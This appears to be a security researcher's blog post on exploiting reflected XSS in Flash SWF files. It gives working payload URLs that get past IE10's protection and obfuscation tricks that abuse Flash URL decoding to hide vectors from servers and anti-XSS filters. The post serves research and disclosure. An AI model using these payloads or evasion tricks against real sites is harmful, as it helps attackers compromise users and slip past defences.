Catch-up on Flash XSS exploitation – bypassing the guardians! – Part 1

I had tweeted a few techniques in exploiting XSS in vulnerable flash files a few months ago. I thought it is a good idea to summarise them here and share it with you. I will try to add more parts to this in future…

Bypassing IE protection/feature against SWF reflected XSS:

It seems only IE as a browser has protections against normal reflected XSS attacks on flash files. For example, if you open the following link in IE10, Javascript won’t have access to the DOM objects:

http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);

Instead, it will show you the following error message in the console (press F12 to see it):

The same script is run easily in Firefox (without NoScript) and Google Chrome. Moreover, the other methods that I had invented previously in the following blog post do not work in IE10: “http://soroush.secproject.com/blog/2012/11/xss-by-uploadingincluding-a-swf-file/”.

Now, I have found a workaround to also bypass IE10 protections and run the script:

*
http://0me.me/demo/xss/xssproject.swf?js=location.href='javascript:x="<script>alert(document.domain)</script>"'
*

It is based on the following simple fact:

“javascript:x=”echo”” in the URL, will print “echo” on the screen and it can contain HTML tags. Any script will then have access to the objects of the original page.

Flash URLDecode feature that can be used to bypass possible protections and obfuscate the attack:

If you need to send the vectors to a server behind a firewall (flashvars can be sent after the “#” character to be hidden from the server) or to bypass client-side Anti-XSS protections, this method can be very useful.

Flash discards invalid URL encoded values completely:

A) It discards 2 characters if you have an invalid hex character ([^0-9a-fA-F]) immediately after the percentage character. Example: “%X” or “%=”

B) It discards 3 characters if you have a valid hex character after the percentage character followed by an invalid hex character. Example: “%AX” or “%A&”

Note1: During this test, I have observed that sometimes values greater than 127 in ASCII will be converted to a question mark (“?”) character. This happens in URL redirection cases.

Note2: Encoded BOM characters (“%EF%BB%BF”) can also replace the space characters. Example: “alert(1)” can be rewritten as “alert%EF%BB%BF(1)” (http://en.wikipedia.org/wiki/Byte_order_mark)

Exploits can even be more deceptive if you use the following vectors: “%#” or “%A#”. It will not send your complete vector to the server because of the “#” character.

Example:

Original queries:

http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);

http://0me.me/demo/xss/xssproject.swf?js=location.href='javascript:x="<script>alert(document.domain)</script>"'

New equivalent queries:

http://0me.me/demo/xss/xssproject.swf?%#js=al%A#e%Xrt(docum%A#ent.doma%A#in);

http://0me.me/demo/xss/xssproject.swf?%I%R%S%D%%Ljs=loca%Xtion.hr%Yef='jav%Zascri%AXpt:x="<sc%AYript>ale%AZrt(docu%?ment.dom%/ain)</sc%&ript>"'

As you can see in these examples, a flash based XSS attack can be obfuscated very well!

NoScript was bypassed initially by using this trick but it has been patched since version 2.6.6.8 (http://noscript.net/changelog). Thanks to Giorgio Maone (@ma1).

Next Part

I will try to post more related materials in regards with Flash security. I may divulge some 0days here…, who knows?